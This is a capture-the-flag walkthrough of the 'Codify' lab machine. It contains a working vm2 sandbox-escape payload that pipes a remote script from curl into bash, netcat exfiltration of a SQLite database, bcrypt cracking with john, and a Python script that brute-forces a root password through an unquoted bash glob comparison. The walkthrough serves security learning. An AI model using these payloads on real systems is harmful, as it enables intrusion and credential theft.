Codify#
Enum#
nmap --min-rate 1000 -p- -Pn 10.10.11.239 -oN scans/nmap.allports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 20:27 GMT
Nmap scan report for 10.10.11.239
Host is up (0.029s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
9998/tcp open distinct32
Nmap done: 1 IP address (1 host up) scanned in 20.60 seconds
nmap -sC -sV -Pn 10.10.11.239 -oN scans/nmap.initial
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-05 20:29 GMT
Nmap scan report for 10.10.11.239
Host is up (0.030s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open http Node.js Express framework
|_http-title: Codify
9998/tcp open ssh (protocol 2.0)
| ssh-hostkey:
|_ 2048 63:90:81:fe:75:38:e0:a4:de:e6:a0:e4:94:86:24:5a (RSA)
|_uptime-agent-info: SSH-2.0-Go\x0D
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9998-TCP:V=7.94%I=7%D=11/5%Time=6547FB37%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.46 seconds
curl -I 10.10.11.239
HTTP/1.1 301 Moved Permanently
Date: Sun, 05 Nov 2023 20:30:10 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://codify.htb/
Content-Type: text/html; charset=iso-8859-1
curl -I codify.htb
HTTP/1.1 200 OK
Date: Sun, 05 Nov 2023 20:32:17 GMT
Server: Apache/2.4.52 (Ubuntu)
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Tue, 11 Apr 2023 11:29:55 GMT
ETag: W/"8dd-18770145b38"
Content-Type: text/html; charset=UTF-8
Content-Length: 2269
nc 10.10.11.239 9998
SSH-2.0-Go
ffuf \
-c \
-w /usr/share/seclists-git/Discovery/Web-Content/raft-medium-directories.txt \
-u "http://codify.htb/FUZZ" -e js,html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.4.0-dev
________________________________________________
:: Method : GET
:: URL : http://codify.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists-git/Discovery/Web-Content/raft-medium-directories.txt
:: Extensions : js html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
editor [Status: 200, Size: 3123, Words: 739, Lines: 119, Duration: 44ms]
about [Status: 200, Size: 2921, Words: 527, Lines: 51, Duration: 38ms]
Editor [Status: 200, Size: 3123, Words: 739, Lines: 119, Duration: 67ms]
About [Status: 200, Size: 2921, Words: 527, Lines: 51, Duration: 179ms]
server-status [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 33ms]
[Status: 200, Size: 2269, Words: 465, Lines: 39, Duration: 53ms]
ABOUT [Status: 200, Size: 2921, Words: 527, Lines: 51, Duration: 191ms]
:: Progress: [90000/90000] :: Job [1/1] :: 1159 req/sec :: Duration: [0:01:54] :: Errors: 7 ::
vm2 sandbox escape#
The limitation pages mentions that the sandbox is done with vm2, there is this poc for sandbox escape
const {VM} = require("vm2");
const vm = new VM();
const code = `
const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
obj = {
[customInspectSymbol]: (depth, opt, inspect) => {
inspect.constructor('return process')().mainModule.require('child_process').execSync('curl http://10.10.15.49:9090/sh.sh|bash');
},
valueOf: undefined,
constructor: undefined,
}
WebAssembly.compileStreaming(obj).catch(()=>{});
`;
vm.run(code);
Sqlite db creds#
cat /etc/passwd|grep sh$
cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash
Looking at the files we have access to here’s an sqlite db in /var/www/contact
svc@codify:/var/www/contact$ ls -la
ls -la
total 120
drwxr-xr-x 3 svc svc 4096 Sep 12 17:45 .
drwxr-xr-x 5 root root 4096 Sep 12 17:40 ..
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db
We don’t have a sqlite3 client here but we can just exfiltrate the database with netcat
svc@codify:/var/www/contact$ md5sum tickets.db
md5sum tickets.db
dd9694ad1e59ffcb566efa209b71215a tickets.db
svc@codify:/var/www/contact$ nc 10.10.15.49 4141 < tickets.db
nc 10.10.15.49 4141 < tickets.db
And do this locally
sqlite3 tickets.db
SQLite version 3.44.0 2023-11-01 11:23:50
Enter ".help" for usage hints.
sqlite> .databases
main: /home/blnkn/sec/htb/machines/codify/loot/tickets.db r/w
sqlite> .tables
tickets users
sqlite> select * from users;
3|joshua|$2a$12$S****************************************************
Crack joshua’s bcrypt hash with john
john --wordlist=~/.local/share/seclists/rockyou.txt hash.txt
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s********* (?)
1g 0:00:01:15 DONE (2023-11-06 20:31) 0.01322g/s 18.09p/s 18.09c/s 18.09C/s crazy1..angel123
Use the "--show" option to display all of the cracked passwords reliably
Session completed
And ssh in as joshua, which has access to run /opt/scripts/mysql-backup.sh as root
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
Privesc through shell glob matching#
This is what the script looks like
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
So there is a mysql database that this backs up
joshua@codify:~$ netstat -tulepn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 102 32154 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 31733 -
tcp 0 0 0.0.0.0:8456 0.0.0.0:* LISTEN 1001 202932 -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 0 34849 -
tcp 0 0 127.0.0.1:38701 0.0.0.0:* LISTEN 0 32800 -
tcp6 0 0 :::80 :::* LISTEN 0 32545 -
tcp6 0 0 :::22 :::* LISTEN 0 31744 -
tcp6 0 0 :::3000 :::* LISTEN 1001 35060 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 102 32153 -
udp 0 0 0.0.0.0:68 0.0.0.0:* 0 31382 -
It reads the root password for the db from /root/.creds it is then compared with the user provided USER_PASS
which is evaluated without quotes
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
This allows us to do a glob matching attack, Shellcheck would also tell us that
shellcheck mysql-backup.sh
In mysql-backup.sh line 6:
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
^--^ SC2162 (info): read without -r will mangle backslashes.
In mysql-backup.sh line 9:
if [[ $DB_PASS == $USER_PASS ]]; then
^--------^ SC2053 (warning): Quote the right-hand side of == in [[ ]] to prevent glob matching.
For more information:
https://www.shellcheck.net/wiki/SC2053 -- Quote the right-hand side of == i...
https://www.shellcheck.net/wiki/SC2162 -- read without -r will mangle backs...
Which means that we only need to guess the first character and glob, and this would return true
joshua@codify:~$ for i in {a..z};do echo "${i}*" |sudo /opt/scripts/mysql-backup.sh;done
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
Password confirmation failed!
So we can automate guessing the entire password like this
import string
import subprocess
all_chars = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for char in all_chars:
command = \
f"echo '{password}{char}*' | " \
"sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(
command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
).stdout
if "Password confirmed!" in output:
password += char
print(password)
break
else:
found = True
And we’re root!
joshua@codify:~$ su -
Password:
root@codify:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codify:~#